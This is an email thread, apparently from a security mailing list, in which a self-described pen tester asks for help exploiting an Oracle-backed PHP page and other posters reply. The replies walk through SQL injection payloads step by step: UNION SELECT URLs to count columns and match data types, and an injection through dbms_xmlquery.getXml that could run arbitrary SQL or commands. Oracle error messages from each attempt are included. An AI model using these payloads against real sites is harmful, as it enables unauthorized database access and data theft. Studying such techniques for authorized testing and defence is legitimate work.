Hi
I would recommend first trying to get the source code
if possible : http://x.y.z.a/dbs.inc but I guess it
won't work it should be a secure web server :)
Anyways depending on the Oracle version you can easily
own it, you just need to inject a function and exploit
some known sql injection in Oracle or depending on
permissions you can just run any commands.
http://x.y.z.a/item.php?Id=length(dbms_xmlquery.getXml('your
favority sql injection exploit here or any command'))
Look at :
http://www.argeniss.com/research/HackingDatabases.zip
http://www.argeniss.com/research/OracleSQLInjBHUSA05.zip
Cesar.
--- Clone <c70n3@yahoo.co.in> wrote:
Thanks Jeff & everyone.
I've moved further after your emails. Really much
appreciated.
With Jeff's input below I enumerate that there are 2
columns.
This time I gave
http://x.y.z.a/item.php?Id=90%20union%20select%201,1%20from%20usr
Now I get following error:
ociexecute() [function.ociexecute]: OCIStmtExecute:
ORA-01790: expression must have same datatype as
corresponding expression in dbs.inc on line 44
The I tried following:
http://x.y.z.a/item.php?Id=90%20union%20select%201,'a'%20from%20usr
http://x.y.z.a/item.php?Id=90%20union%20select%201,1%20from%20usr
And get the error
ociexecute() [function.ociexecute]: OCIStmtExecute:
ORA-00911: invalid character in dbs.inc on line 44
The functionality of the page is to generate an
email
page/forum email page.
Any idea what's next?
--- jeffrey rivero <jeffr76@yahoo.com> wrote:
Hello all
in your Union start by finding out how many
columns
there are
ie.
http://x.y.z.a/item.php?Id=90%20UNION%20SELECT%201,1,1%20from%20usr;--
would give you 3 columns
http://x.y.z.a/item.php?Id=90%20UNION%20SELECT%201,2,3,4%20from%20usr;--
would give you 4
then once you have that
get the data types
http://x.y.z.a/item.php?Id=90%20UNION%20SELECT%20'a',1,1,1%20from%20usr;--
for the first to be a string
and so on
then you can start to get real data from the
tables
or
http://x.y.z.a/item.php?Id=90%20UNION%20SELECT%20col1name,col2name,1,'a'%20from%20usr;--
Jeff
Clone wrote:
Hey List
I am pen testing a web app that supplies sql
parameters on the URL something like
http://x.y.z.a/item.php?Id=90
I did blind sql injection by adding AND 1=1 to
confirm
the vulnerability.
Now when I do
http://x.y.z.a/item.php?Id=90'
I get
ociparse() [function.ociparse]: OCIParse:
ORA-01756:
quoted string not properly terminated in
item.php
on
line 312
Then I tried (after confirming presence of usr
table
name)
http://x.y.z.a/item.php?Id=90%20UNION%20SELECT%20*%20from%20usr;--
and I get the error
ociexecute() [function.ociexecute]:
OCIStmtExecute:
ORA-01789: query block has incorrect number of
result
columns in dbs.inc on line 44
I know one valid user account in the oracle DB.
Any idea what's the best strategy to move
forward?
I'm not getting any further from here so far.
Any advise / helpo would be much appreciated.
Cheers'
5, 50, 500, 5000 - Store N number of mails
in your inbox. Go to
http://help.yahoo.com/l/in/yahoo/mail/yahoomail/tools/tools-08.html
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